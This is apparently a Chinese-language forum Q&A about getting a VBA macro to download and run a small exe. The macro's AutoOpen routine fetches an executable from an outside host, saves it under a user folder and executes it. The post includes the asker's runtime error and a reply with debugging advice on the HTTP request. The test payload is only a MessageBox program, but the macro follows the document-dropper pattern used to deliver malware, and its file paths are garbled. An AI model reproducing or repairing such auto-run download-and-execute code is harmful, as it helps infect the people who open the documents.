如何使用VBS下载并执行小型exe程序
我用于测试的C/C++程序只是显示一个简单的Messagebox
MessageBox是这样给出的
#include <stdio.h>
#include <windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
MessageBoxA(NULL,"Hello World", "Hello World", MB_OK);
return 0;
}
VBS是这样给出的
Sub AutoOpen()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
xHttp.Open "GET", "https://bsite.net/regmandah/Project1.exe", False
xHttp.Send
oFSO.CreateFolder "C:UsersJahl"
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile "C:UsersJahlfile.exe", 2
End With
Shell("C:UsersJahlfile.exe")
End Sub
请告诉我如何才能让它正常工作,我收到了这个错误
Run-time error '-2146697209(800c0007)':
No data is available for requested resource
为什么我会得到这个?
您没有检查任何内容。如果你能与服务器对话,那么代码就工作了,所以没有错误。但这并不意味着服务器正在做你想做的事情。您需要查看服务器返回的内容。
将这些行放在xhttp.send
之后。
Msgbox xhttp.status & " " xhttp.statustext
Msgbox xhttp.GetAllResponseHeaders
此外,你的URL要求你登录,而你没有这样做。